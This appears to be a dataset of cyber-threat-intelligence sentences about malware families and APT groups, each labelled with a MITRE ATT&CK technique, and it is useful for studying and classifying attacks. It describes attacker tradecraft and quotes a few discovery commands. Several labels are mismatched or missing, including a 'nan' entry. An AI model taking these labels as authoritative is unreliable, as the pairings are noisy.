HoangCuongNguyen/CTI-to-MITRE-dataset huggingface dataset:
APT41 leveraged PowerShell to deploy malware families in victims’ environments.
Technique: T1059: Command and Scripting Interpreter
Adversaries may leverage external-facing remote services to initially access and/or persist within a network.
Technique: T1133: External Remote Services
Rifdoor has added four additional bytes of data upon launching, then saved the changed version as C:\ProgramData\Initech\Initech.exe.
Technique: T1027: Obfuscated Files or Information
The following run keys are created by default on Windows systems:
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
Run keys may exist under multiple hives.
Technique: T1547: Boot or Logon Autostart Execution
The IP address in the lateral movement techniques was substituted with the local machine IP address to achieve code execution on the system
Technique: T1016: System Network Configuration Discovery
HiddenWasp communicates with a simple network protocol over TCP.
Technique: T1095: Non-Application Layer Protocol
IcedID has created a scheduled task that executes every hour to establish persistence.
Technique: T1053: Scheduled Task/Job
APT39 has used the BITS protocol to exfiltrate stolen data from a compromised host.
Technique: T1197: BITS Jobs
The BlackEnergy 3 variant drops its main DLL component and then creates a .lnk shortcut to that file in the startup folder.
Technique: T1547: Boot or Logon Autostart Execution
bat: A batch file to set up the service COMSysApp, for an x64 system bat: A batch file to set up the service COMSysApp, for an x86 system ini: A data file with Base64-encoded data for connecting to an FTP server
Technique: T1059: Command and Scripting Interpreter
Ramsay has been executed through malicious e-mail attachments.
Technique: T1204: User Execution
Similar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.
Technique: T1546: Event Triggered Execution
These native APIs are leveraged by the OS during system boot  as well as carrying out tasks and requests during routine operations.
Technique: T1106: Native API
Adversaries may abuse Windows Management Instrumentation  to execute malicious commands and payloads.
Technique: T1047: Windows Management Instrumentation
EnvyScout can use cmd.exe to execute malicious files on compromised hosts.
Technique: T1059: Command and Scripting Interpreter
CHM files are commonly distributed as part of the Microsoft HTML Help system.
Technique: T1218: Signed Binary Proxy Execution
A version of KONNI drops a Windows shortcut on the victim’s machine to establish persistence.
Technique: T1547: Boot or Logon Autostart Execution
Hacking Team UEFI Rootkit is a UEFI BIOS rootkit developed by the company Hacking Team to persist remote access software on some targeted systems.
Technique: T1014: Rootkit
PROMETHIUM has signed code with self-signed certificates.
Technique: T1553: Subvert Trust Controls
SDBbot has the ability to add a value to the Registry Run key to establish persistence if it detects it is running with regular user privilege.
Technique: T1547: Boot or Logon Autostart Execution
XAgentOSX contains the getProcessList function to run ps aux to get running processes.
Technique: T1057: Process Discovery
SLOTHFULMEDIA can inject into running processes on a compromised host.
Technique: T1055: Process Injection
The command does not attempt to kill the specific Office process that would load the particular delivery document, such as Excel in the case of this “.xlam” file, but instead attempts to kill processes associated with Word, Excel, PowerPoint and Publisher
Technique: T1057: Process Discovery
Sandworm Team has exploited vulnerabilities in Microsoft PowerPoint via OLE objects  and Microsoft Word via crafted TIFF images .
Technique: T1203: Exploitation for Client Execution
LightNeuron uses AES to encrypt C2 traffic.
Technique: T1573: Encrypted Channel
Essentially, we are discussing ongoing activity revolving around several malware families:  KopiLuwak and IcedCoffeer Carbon Mosquito WhiteBear  Technical Rattle Turla’s Shifting to Scripting KopiLuwak and IcedCoffee, WhiteBear, and WhiteAtlas Since at least 2015 Turla has leveraged Javascript, powershell, and wsh in a number of ways, including in their malware dropper/installation operations as well as for implementing complete backdoors
Technique: T1059: Command and Scripting Interpreter
Gorgon Group malware can create a .lnk file and add a Registry Run key to establish persistence.
Technique: T1547: Boot or Logon Autostart Execution
Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.
Technique: T1543: Create or Modify System Process
ZeroT can download additional payloads onto the victim.
Technique: T1105: Ingress Tool Transfer
APT41 collected MAC addresses from victim machines.
Technique: T1016: System Network Configuration Discovery
PowerDuke has commands to get the current user's name and SID.
Technique: T1033: System Owner/User Discovery
APT29 used 7-Zip to decode its Raindrop malware.
Technique: T1140: Deobfuscate/Decode Files or Information
Note: Cached credentials for Windows Vista are derived using PBKDF2.
Technique: T1003: OS Credential Dumping
PLATINUM is capable of using Windows hook interfaces for information gathering such as credential access.
Technique: T1056: Input Capture
The device with the associated IP address directly replies with its MAC address.
Technique: T1557: Adversary-in-the-Middle
Machete had a module in its malware to find, encrypt, and upload files from fixed and removable drives.
Technique: T1025: Data from Removable Media
WINERACK can create a reverse shell that utilizes statically-linked Wine cmd.exe code to emulate Windows command prompt commands.
Technique: T1059: Command and Scripting Interpreter
Magic Hound malware has used IRC for C2.
Technique: T1071: Application Layer Protocol
Commands such as net user and net localgroup of the Net utility and id and groupson macOS and Linux can list local users and groups.
Technique: T1087: Account Discovery
For example, when a user opens a command-line interface or remotely logs in  a login shell is initiated.
Technique: T1546: Event Triggered Execution
SLOTHFULMEDIA can enumerate open ports on a victim machine.
Technique: T1049: System Network Connections Discovery
When enabled, a user requesting access to a resource initiates communication with the Domain Controller  by sending an Authentication Server Request  message with a timestamp that is encrypted with the hash of their password.
Technique: T1558: Steal or Forge Kerberos Tickets
Figure 9: Example of callback Earlier versions of UPPERCUT used the hard-coded string “this is the encrypt key” for Blowfish encryption when communicating with a C2
Technique: T1521: nan
Skidmap has the ability to replace the pam_unix.so file on an infected machine with its own malicious version that accepts a specific backdoor password for all users.
Technique: T1556: Modify Authentication Process
This activity may be used to enable follow-on behaviors such as Network Sniffing or Transmitted Data Manipulation.
Technique: T1557: Adversary-in-the-Middle
InnaputRAT launches a shell to execute commands on the victim’s machine.
Technique: T1059: Command and Scripting Interpreter
Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.
Technique: T1546: Event Triggered Execution
Gathering this information may reveal opportunities for other forms of reconnaissance  or Search Open Websites/Domains, establishing operational resources  or Compromise Infrastructure, and/or initial access .
Technique: T1590: Gather Victim Network Information
Tropic Trooper has executed commands through Microsoft security vulnerabilities, including CVE-2017-11882, CVE-2018-0802, and CVE-2012-0158.
Technique: T1203: Exploitation for Client Execution
Adversaries may modify the SSH authorized_keys file to maintain persistence on a victim host.
Technique: T1098: Account Manipulation
Skidmap has the ability to check whether the infected system’s OS is Debian or RHEL/CentOS to determine which cryptocurrency miner it should use.
Technique: T1082: System Information Discovery
Adversaries may temporarily modify domain policy, carry out a malicious action, and then revert the change to remove suspicious indicators.
Technique: T1484: Domain Policy Modification
Cobalt Strike's "beacon" payload is capable of capturing screenshots.
Technique: T1113: Screen Capture
Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts.
Technique: T1574: Hijack Execution Flow
Azorult has also downloaded a ransomware payload called Hermes.
Technique: T1105: Ingress Tool Transfer
Silence can create, delete, or modify a specified Registry key or value.
Technique: T1112: Modify Registry
BRONZE BUTLER has used PowerShell for execution.
Technique: T1059: Command and Scripting Interpreter
The macro contains malicious code that attempts to download content from a remote server
Technique: T1105: Ingress Tool Transfer
Inception has used malicious HTA files to drop and execute malware.
Technique: T1218: Signed Binary Proxy Execution
Hildegard has used masscan to search for kubelets and the kubelet API for additional running containers.
Technique: T1613: Container and Resource Discovery
Adversaries may create and cultivate social media accounts that can be used during targeting.
Technique: T1585: Establish Accounts
FatDuke can be controlled via a custom C2 protocol over HTTP.
Technique: T1071: Application Layer Protocol
Cobalt Strike can install a new service.
Technique: T1543: Create or Modify System Process
Gazer has commands to delete files and persistence mechanisms from the victim.
Technique: T1070: Indicator Removal on Host
WMI subscription execution is proxied by the WMI Provider Host process  and thus may result in elevated SYSTEM privileges.
Technique: T1546: Event Triggered Execution
Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.
Technique: T1593: Search Open Websites/Domains
When performing PtH, valid password hashes for the account being used are captured using a Credential Access technique.
Technique: T1550: Use Alternate Authentication Material
When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.
Technique: T1553: Subvert Trust Controls
An adversary may use at.exe in Windows environments to execute programs at system startup or on a scheduled basis for persistence.
Technique: T1053: Scheduled Task/Job
Group Policy allows for centralized management of user and computer settings in Active Directory .
Technique: T1615: Group Policy Discovery
It then takes note of the infected machine’s IP address, user, domain, hostname, OS and Service Pack, and the username and password combination that worked during the brute force routine
Technique: T1110: Brute Force
Additionally, some of this early activity shares a similarity with current FIN7 operations – the use of Power Admin PAExec for lateral movement
Technique: T1021: Remote Services
FIN6 has created Windows services to execute encoded PowerShell commands.
Technique: T1569: System Services
Stuxnet searches the Registry for indicators of security programs.
Technique: T1012: Query Registry
TrickBot has used an email with an Excel sheet containing a malicious macro to deploy the malware Emotet has been delivered by phishing emails containing attachments.
Technique: T1566: Phishing
Turla has obtained and customized publicly-available tools like Mimikatz.
Technique: T1588: Obtain Capabilities
Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.
Technique: T1078: Valid Accounts
CORESHELL collects hostname, volume serial number and OS version data from the victim and sends the information to its C2 server.
Technique: T1082: System Information Discovery
Orangeworm has used HTTP for C2.
Technique: T1071: Application Layer Protocol
Octopus has relied upon users clicking on a malicious attachment delivered through spearphishing.
Technique: T1204: User Execution
Command and control  information can be encoded using a standard data encoding system that adheres to existing protocol specifications.
Technique: T1132: Data Encoding
H1N1 has functionality to copy itself to network shares.
Technique: T1080: Taint Shared Content
WMI can be accessed using a variety of tools, including the Windows WMI Command-line (wmic.exe), or through APIs accessible to programming and scripting languages such as PowerShell
Technique: T1047: Windows Management Instrumentation
78 runin.bin List of processes names and associated plugins should be run inside these processes
Technique: T1057: Process Discovery
hcdLoader provides command-line access to the compromised system.
Technique: T1059: Command and Scripting Interpreter
CostaRicto has used scheduled tasks to download backdoor tools.
Technique: T1053: Scheduled Task/Job
Carbanak has a command to delete files.
Technique: T1070: Indicator Removal on Host
Trojan.Karagany can gather information about the user on a compromised host.
Technique: T1033: System Owner/User Discovery
Mivast has the capability to download and execute .exe files.
Technique: T1105: Ingress Tool Transfer
net localgroup 
Technique: T1087: Account Discovery
Adversaries can abuse MSBuild to proxy execution of malicious code.
Technique: T1127: Trusted Developer Utilities Proxy Execution
An adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism .
Technique: T1037: Boot or Logon Initialization Scripts
OilRig has also used certutil to decode base64-encoded files on victims.
Technique: T1140: Deobfuscate/Decode Files or Information
Gazer versions are signed with various valid certificates; one was likely faked and issued by Comodo for "Solid Loop Ltd," and another was issued for "Ultimate Computer Support Ltd." Janicab used a valid AppleDeveloperID to sign the code to get past security restrictions.
Technique: T1553: Subvert Trust Controls
In total, nearly 13,000 sets of credentials are included in the data dump
Technique: T1003: OS Credential Dumping
Adversaries may abuse verclsid.exe to execute malicious payloads.
Technique: T1218: Signed Binary Proxy Execution
Dragonfly 2.0 compromised user credentials and used valid accounts for operations.
Technique: T1078: Valid Accounts
Denis uses ipconfig to gather the IP address from the system.
Technique: T1016: System Network Configuration Discovery
In cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration.
Technique: T1074: Data Staged
Additionally, it is possible to avoid setting this flag using Drive-by Compromise, which may bypass Gatekeeper.
Technique: T1553: Subvert Trust Controls
Kobalos replaced the SSH client with a trojanized SSH client to steal credentials on compromised systems.
Technique: T1554: Compromise Client Software Binary
Bazar can gain execution after a user clicks on a malicious link to decoy landing pages hosted on Google Docs.
Technique: T1204: User Execution
Carbon has a command to inject code into a process.
Technique: T1055: Process Injection
Alternate authentication material may also be generated during the identity creation process.
Technique: T1550: Use Alternate Authentication Material
APT32's backdoor can exfiltrate data by encoding it in the subdomain field of DNS packets.
Technique: T1048: Exfiltration Over Alternative Protocol
Remexi utilizes scheduled tasks as a persistence mechanism.
Technique: T1053: Scheduled Task/Job
Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.
Technique: T1037: Boot or Logon Initialization Scripts
On Linux, adversaries may set LD_PRELOAD to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program.
Technique: T1574: Hijack Execution Flow
MoonWind obtains the victim IP address.
Technique: T1016: System Network Configuration Discovery
Valak has the ability to enumerate local admin accounts.
Technique: T1087: Account Discovery
It then uses WebDAV to upload to a Box cloud drive.
Technique: T1048: Exfiltration Over Alternative Protocol
In total, 29 unique CARROTBAT samples have been identified to date, containing a total of 12 confirmed unique decoy documents
Technique: T1140: Deobfuscate/Decode Files or Information
APT39 has sent spearphishing emails in an attempt to lure users to click on a malicious attachment.
Technique: T1204: User Execution
Cobalt Strike will break large data sets into smaller chunks for exfiltration.
Technique: T1030: Data Transfer Size Limits
APT3 has used a keylogging tool that records keystrokes in encrypted files.
Technique: T1056: Input Capture
NativeZone has used rundll32 to execute a malicious DLL.
Technique: T1218: Signed Binary Proxy Execution
Pteranodon creates various subdirectories under %Temp%\reports\% and copies files to those subdirectories.
Technique: T1074: Data Staged
Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations.
Technique: T1583: Acquire Infrastructure
When it is executed, it creates two files: an LNK file that points to %system32%\rundll32.exe, and the FELIXROOT loader component
Technique: T1547: Boot or Logon Autostart Execution
Specific storage locations vary based on platform and/or application, but browser bookmarks are typically stored in local files/databases.
Technique: T1217: Browser Bookmark Discovery
In Windows, adversaries may hide user accounts via settings in the Registry.
Technique: T1564: Hide Artifacts
Chimera has queried Registry keys using reg query \\<host>\HKU\<SID>\SOFTWARE\Microsoft\Terminal Server Client\Servers and reg query \\<host>\HKU\<SID>\Software\Microsoft\Windows\CurrentVersion\Internet Settings.
Technique: T1012: Query Registry
The different components of Machete are executed by Windows Task Scheduler.
Technique: T1053: Scheduled Task/Job
BLINDINGCAN has encoded its C2 traffic with Base64.
Technique: T1132: Data Encoding
APT38 has obtained and used open-source tools such as Mimikatz.
Technique: T1588: Obtain Capabilities
Bazar can execute a PowerShell script received from C2.
Technique: T1059: Command and Scripting Interpreter
Bundlore has the ability to enumerate what browser is being used as well as version information for Safari.
Technique: T1518: Software Discovery
TeamTNT has executed PowerShell commands in batch scripts.
Technique: T1059: Command and Scripting Interpreter
An adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features.
Technique: T1538: Cloud Service Dashboard
RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse.
Technique: T1036: Masquerading
HyperStack can add the name of its communication pipe to HKLM\SYSTEM\\CurrentControlSet\\Services\\lanmanserver\\parameters\NullSessionPipes.
Technique: T1112: Modify Registry
In addition to obfuscation techniques, it also has the ability to detect security tools on the analysis machine, and can also shut down the system if it detects the presence of such tools
Technique: T1518: Software Discovery
AppleSeed can stage files in a central location prior to exfiltration.
Technique: T1074: Data Staged
The SAM is a database file that contains local accounts for the host, typically those found with the net user command.
Technique: T1003: OS Credential Dumping
The CALENDAR malware communicates through the use of events in Google Calendar.
Technique: T1102: Web Service
They then identify the Exchange server and attempt to install the OwaAuth web shell
Technique: T1505: Server Software Component
OSX/Shlayer can install malicious Safari browser extensions to serve ads.
Technique: T1176: Browser Extensions
We have covered recent FIN7 activity in previous public blog posts:   FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings  FIN7 Evolution and the Phishing LNK  To SDB, Or Not To SDB: FIN7 Leveraging Shim Databases for Persistence  The FireEye iSIGHT Intelligence MySIGHT Portal contains additional information on our investigations and observations into FIN7 activity
Technique: T1547: Boot or Logon Autostart Execution
Gold Dragon deletes one of its files, 2.hwp, from the endpoint after establishing persistence.
Technique: T1070: Indicator Removal on Host
These processes may automatically execute specific binaries as part of their functionality or to perform other actions.
Technique: T1574: Hijack Execution Flow
(Source: Dell SecureWorks) As shown in Figure 10, the unpacked JavaScript code reveals an iframe pointing to an IP address that is hosting the exploit
Technique: T1016: System Network Configuration Discovery
This DLL can be located in C:\Windows\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot.
Technique: T1547: Boot or Logon Autostart Execution
Blue Mockingbird has masqueraded their XMRIG payload name by naming it wercplsupporte.dll after the legitimate wercplsupport.dll file.
Technique: T1036: Masquerading
SpeakUp uses the cat /proc/cpuinfo | grep -c “cpu family” 2>&1 command to gather system information.
Technique: T1082: System Information Discovery
Micropsia executes an RAR tool to recursively archive files based on a predefined list of file extensions .
Technique: T1119: Automated Collection
Kerrdown has gained execution through victims opening malicious files.
Technique: T1204: User Execution
The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model  and Windows Remote Management .
Technique: T1047: Windows Management Instrumentation
RobbinHood uses cmd.exe on the victim's computer.
Technique: T1059: Command and Scripting Interpreter
Naid collects a unique identifier  from a compromised host.
Technique: T1082: System Information Discovery
APT33 has used FTP to exfiltrate files .
Technique: T1048: Exfiltration Over Alternative Protocol
Adversaries may leverage Confluence repositories to mine valuable information.
Technique: T1213: Data from Information Repositories
Commands included in XDG autostart entries with execute after user logon in the context of the currently logged on user.
Technique: T1547: Boot or Logon Autostart Execution
TeamTNT has cleared command history with history -c.
Technique: T1070: Indicator Removal on Host
Vulnerability scans typically check if the configuration of a target host/application  potentially aligns with the target of a specific exploit the adversary may seek to use.
Technique: T1595: Active Scanning
OilRig has also used tool named PICKPOCKET to dump passwords from web browsers.
Technique: T1555: Credentials from Password Stores
Okrum's backdoor has used cmd.exe to execute arbitrary commands as well as batch scripts to update itself to a newer version.
Technique: T1059: Command and Scripting Interpreter
Some ZeroT DLL files have been packed with UPX.
Technique: T1027: Obfuscated Files or Information
An adversary may need to determine if the remote system is in a vulnerable state, which may be done through Network Service Scanning or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities,  or security software that may be used to detect or contain remote exploitation.
Technique: T1210: Exploitation of Remote Services
APT17 has created profile pages in Microsoft TechNet that were used as C2 infrastructure.
Technique: T1583: Acquire Infrastructure
TeamTNT has also used malware that utilizes zmap and zgrab to search for vulnerable services in cloud environments.
Technique: T1046: Network Service Scanning
WindTail has the ability to decrypt strings using hard-coded AES keys.
Technique: T1140: Deobfuscate/Decode Files or Information
For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.
Technique: T1564: Hide Artifacts
APT3 has been known to pack their tools.
Technique: T1027: Obfuscated Files or Information
Trojan.Karagany can gather information on the network configuration of a compromised host.
Technique: T1016: System Network Configuration Discovery
TajMahal has used an encrypted Virtual File System to store plugins.
Technique: T1027: Obfuscated Files or Information
Tropic Trooper has leveraged the BITSadmin command-line tool to create a job and launch a malicious process.
Technique: T1197: BITS Jobs
Virtual dynamic shared object  hijacking is a method of executing arbitrary code in the address space of a separate live process.
Technique: T1055: Process Injection
Registry run key entries can reference programs directly or list them as a dependency.
Technique: T1547: Boot or Logon Autostart Execution
The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries  to load during execution time.
Technique: T1546: Event Triggered Execution
There can only be one login hook at a time though and depending on the access configuration of the hooks, either local credentials or an administrator account may be necessary.
Technique: T1037: Boot or Logon Initialization Scripts
Andariel has inserted a malicious script within compromised websites to collect potential victim information such as browser type, system language, Flash Player version, and other data.
Technique: T1592: Gather Victim Host Information
DHS and FBI recommend that network administrators review the IP addresses, file hashes, network signatures, and YARA rules provided, and add the IPs to their watchlist to determine whether malicious activity has been observed within their organization.When reviewing network perimeter logs for the IP addresses, organizations may find numerous instances of these IP addresses attempting to connect to their systems
Technique: T1016: System Network Configuration Discovery
Once enumerated, the target processes’ memory map within /proc/pid/maps can be overwritten using dd.
Technique: T1055: Process Injection
More_eggs has used HTTP GET requests to check internet connectivity.
Technique: T1016: System Network Configuration Discovery
Vulnerability scans typically harvest running software and version numbers via server banners, listening ports, or other network artifacts.
Technique: T1595: Active Scanning
Mivast has the capability to open a remote shell and run basic commands.
Technique: T1059: Command and Scripting Interpreter
TSCookie has the ability to upload and download files to and from the infected host.
Technique: T1105: Ingress Tool Transfer
GOLD SOUTHFIELD has conducted malicious spam  campaigns to gain access to victim's machines.
Technique: T1566: Phishing
Ke3chang has used batch scripts in its malware to install persistence mechanisms.
Technique: T1059: Command and Scripting Interpreter
In macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton.
Technique: T1125: Video Capture
The Azure CLI  also provides an interface to obtain user accounts with authenticated access to a domain.
Technique: T1087: Account Discovery
Emissary has the capability to create a remote shell and execute specified commands.
Technique: T1059: Command and Scripting Interpreter
Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process.
Technique: T1055: Process Injection
Matryoshka can establish persistence by adding a Scheduled Task named "Microsoft Boost Kernel Optimization".
Technique: T1053: Scheduled Task/Job
All subsequent interaction with the C2 server uses the same SOAP web service, so we will not show all of the generated HTTP requests
Technique: T1071: Application Layer Protocol
APT32 has set up Dropbox, Amazon S3, and Google Drive to host malicious downloads.
Technique: T1583: Acquire Infrastructure
Stuxnet can propagate via peer-to-peer communication and updates using RPC.
Technique: T1021: Remote Services
KeyBoy time-stomped its DLL in order to evade detection.
Technique: T1070: Indicator Removal on Host
IcedID has used web injection attacks to redirect victims to spoofed sites designed to harvest banking and other credentials.
Technique: T1185: Browser Session Hijacking
<encoded system data>.<same random number between 100000 and 999999 above>.<c2 name>   After obtaining a session ID and pre-shared key, the PowerShell script will continue to communicate with its C2 server to obtain data to treat as a command
Technique: T1573: Encrypted Channel
TYPEFRAME has used ports 443, 8080, and 8443 with a FakeTLS method.
Technique: T1571: Non-Standard Port
JPIN can list running services.
Technique: T1007: System Service Discovery
GravityRAT has used HTTP over a non-standard port, such as TCP port 46769.
Technique: T1571: Non-Standard Port
Volgmer can list directories on a victim.
Technique: T1083: File and Directory Discovery
Astaroth's initial payload is a malicious .LNK file.
Technique: T1547: Boot or Logon Autostart Execution
Ramsay can compress and archive collected files using WinRAR.
Technique: T1560: Archive Collected Data
Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded.
Technique: T1546: Event Triggered Execution
Gorgon Group has obtained and used tools such as QuasarRAT and Remcos.
Technique: T1588: Obtain Capabilities
TeamTNT has scanned specific lists of target IP addresses.
Technique: T1595: Active Scanning
TRITON attempts to write a dummy program into memory if it fails to reset the Triconex controller.
Technique: T1036: Masquerading
Metamorfo has used native WINAPI calls.
Technique: T1106: Native API
Doki has used the DynDNS service and a DGA based on the Dogecoin blockchain to generate C2 domains.
Technique: T1568: Dynamic Resolution
DarkComet adds several Registry entries to enable automatic execution at every system startup.
Technique: T1547: Boot or Logon Autostart Execution
Prior to Code Signing, adversaries may purchase or steal code signing certificates for use in operations.
Technique: T1588: Obtain Capabilities
GeminiDuke collects information on local user accounts from the victim.
Technique: T1087: Account Discovery
Babuk can enumerate all services running on a compromised host.
Technique: T1007: System Service Discovery
2, 2018, we published a blog detailing the use of an Adobe Flash zero-day vulnerability (CVE-2018-4878) by a suspected North Korean cyber espionage group that we now track as APT37 (Reaper)
Technique: T1203: Exploitation for Client Execution
GrimAgent has used Rotate on Right  and Rotate on Left  functionality to encrypt strings.
Technique: T1027: Obfuscated Files or Information
Leviathan has staged data remotely prior to exfiltration.
Technique: T1074: Data Staged
LOWBALL uses the Dropbox API to request two files, one of which is the same file as the one dropped by the malicious email attachment.
Technique: T1105: Ingress Tool Transfer
Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code.
Technique: T1053: Scheduled Task/Job
SharpStage has the ability to create persistence for the malware using the Registry autorun key and startup folder.
Technique: T1547: Boot or Logon Autostart Execution
Machete has used batch files to initiate additional downloads of malicious files.
Technique: T1059: Command and Scripting Interpreter
Fox Kitten has created a local user account with administrator privileges.
Technique: T1136: Create Account
AppleJeus has exfiltrated collected host information to a C2 server.
Technique: T1041: Exfiltration Over C2 Channel
The Regin malware platform can use ICMP to communicate between infected computers.
Technique: T1095: Non-Application Layer Protocol
OwaAuth web shell PDB string
Technique: T1505: Server Software Component
njRAT has executed PowerShell commands via auto-run registry key persistence.
Technique: T1059: Command and Scripting Interpreter
OilRig has used web shells, often to maintain access to a victim network.
Technique: T1505: Server Software Component
Lokibot has decoded and decrypted its stages multiple times using hard-coded keys to deliver the final payload, and has decoded its server response hex string using XOR.
Technique: T1140: Deobfuscate/Decode Files or Information
WellMess can use HTTP and HTTPS in C2 communications.
Technique: T1071: Application Layer Protocol
Helminth establishes persistence by creating a shortcut in the Start Menu folder.
Technique: T1547: Boot or Logon Autostart Execution
APT30 has relied on users to execute malicious file attachments delivered via spearphishing emails.
Technique: T1204: User Execution
Dyre registers itself as a service by adding several Registry keys.
Technique: T1543: Create or Modify System Process
Dark Caracal collected file listings of all default Windows directories.
Technique: T1083: File and Directory Discovery
DealersChoice uses HTTP for communication with the C2 server.
Technique: T1071: Application Layer Protocol
TA551 has prompted users to enable macros within spearphishing attachments to install malware.
Technique: T1204: User Execution
After decoding out the blob, analysts found a PowerShell script.
Technique: T1546: Event Triggered Execution
Industroyer uses heavily obfuscated code in its Windows Notepad backdoor.
Technique: T1027: Obfuscated Files or Information
ZIRCONIUM has used tools to download malicious files to compromised hosts.
Technique: T1105: Ingress Tool Transfer
This marker indicates the presence of an encrypted MZ marker in the .hwp file and is decrypted by the malware and written to the Startup folder for the user:  C:\Documents and Settings\<username>\Start Menu\Programs\Startup\viso.exe  This step establishes the persistence of the malware across reboots on the endpoint Once the decrypted MZ marker is written to the Startup folder, the 2.hwp is deleted from the endpoint  The malware might perform this activity for a couple of reasons:  Establish persistence for itself on the endpoint Establish persistence of another component of the malware on the endpoint Update itself on endpoint after a separate updater component downloads the update from the control server  The malware has limited reconnaissance and data-gathering capabilities and is not full-fledged spyware
Technique: T1547: Boot or Logon Autostart Execution
NDiskMonitor can download and execute a file from given URL.
Technique: T1105: Ingress Tool Transfer
admin@338 actors used the following command following exploitation of a machine with LOWBALL malware to obtain information about services: net start >> %temp%\download BRONZE BUTLER has used TROJ_GETVERSION to discover system services.
Technique: T1007: System Service Discovery
Inception used a file listing plugin to collect information about file and directories both on local and remote drives.
Technique: T1083: File and Directory Discovery
ZIRCONIUM has used a tool to enumerate proxy settings in the target environment.
Technique: T1016: System Network Configuration Discovery
Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.
Technique: T1542: Pre-OS Boot
The account names visually look similar to legitimate government organization names or other trusted third-party entities
Technique: T1036: Masquerading
BBK has the ability to decrypt AES encrypted payloads.
Technique: T1140: Deobfuscate/Decode Files or Information
Typically, longer keys increase the cost of cryptanalysis, or decryption without the key.
Technique: T1600: Weaken Encryption
IcedID has the ability to identify the computer name and OS version on a compromised host.
Technique: T1082: System Information Discovery
EvilBunny has been observed querying installed antivirus software.
Technique: T1518: Software Discovery
New processes are typically spawned directly from their parent, or calling, process unless explicitly specified.
Technique: T1134: Access Token Manipulation
Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system.
Technique: T1018: Remote System Discovery
BlackTech has used spearphishing e-mails with links to cloud services to deliver malware.
Technique: T1566: Phishing
Dragonfly has used a scheduled task to execute a malicious file.
Technique: T1053: Scheduled Task/Job
FIN7 has exploited ZeroLogon  against vulnerable domain controllers.
Technique: T1210: Exploitation of Remote Services
Doki has executed shell scripts with /bin/sh.
Technique: T1059: Command and Scripting Interpreter
WellMail has been observed using TCP port 25, without using SMTP, to leverage an open port for secure command and control communications.
Technique: T1571: Non-Standard Port
Emotet has been observed enumerating local processes.
Technique: T1057: Process Discovery
XCSSET attempts to discover accounts from various locations such as a user's Evernote, AppleID, Telegram, Skype, and WeChat data.
Technique: T1087: Account Discovery
Pillowmint has used the NtQueueApcThread syscall to inject code into svchost.exe.
Technique: T1055: Process Injection
TeamTNT has used UPX and Ezuri packer to pack its binaries.
Technique: T1027: Obfuscated Files or Information
APT37's Freenki malware lists running processes using the Microsoft Windows API.
Technique: T1057: Process Discovery
BBSRAT can delete files and directories.
Technique: T1070: Indicator Removal on Host
APT29 modified timestamps of backdoors to match legitimate Windows files.
Technique: T1070: Indicator Removal on Host
Threat Group-3390 has extensively used strategic web compromises to target victims.
Technique: T1189: Drive-by Compromise
Dtrack has used process hollowing shellcode to target a predefined list of processes from %SYSTEM32%.
Technique: T1055: Process Injection
menuPass has used a global service provider's IP as a proxy for C2 traffic from a victim.
Technique: T1090: Proxy
If establishing persistence by installation as a new service fails, one variant of Elise establishes persistence for the created .exe file by setting the following Registry key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\svchost : %APPDATA%\Microsoft\Network\svchost.exe.
Technique: T1547: Boot or Logon Autostart Execution
Kimsuky has used the Nirsoft SniffPass network sniffer to obtain passwords sent over non-secure protocols.
Technique: T1040: Network Sniffing
The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection.
Technique: T1059: Command and Scripting Interpreter
Orangeworm has copied its backdoor across open network shares, including ADMIN$, C$WINDOWS, D$WINDOWS, and E$WINDOWS.
Technique: T1021: Remote Services
IndigoZebra has downloaded additional files and tools from its C2 server.
Technique: T1105: Ingress Tool Transfer
Gamaredon Group malware has used rundll32 to launch additional malicious components.
Technique: T1218: Signed Binary Proxy Execution
Maze has used several Windows API functions throughout the encryption process including IsDebuggerPresent, TerminateProcess, Process32FirstW, among others.
Technique: T1106: Native API
yty collects the victim’s username.
Technique: T1033: System Owner/User Discovery
Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked.
Technique: T1574: Hijack Execution Flow
All strings below are encrypted via AES256 and base64 encoding
Technique: T1027: Obfuscated Files or Information
Shamoon queries several Registry keys to identify hard disk partitions to overwrite.
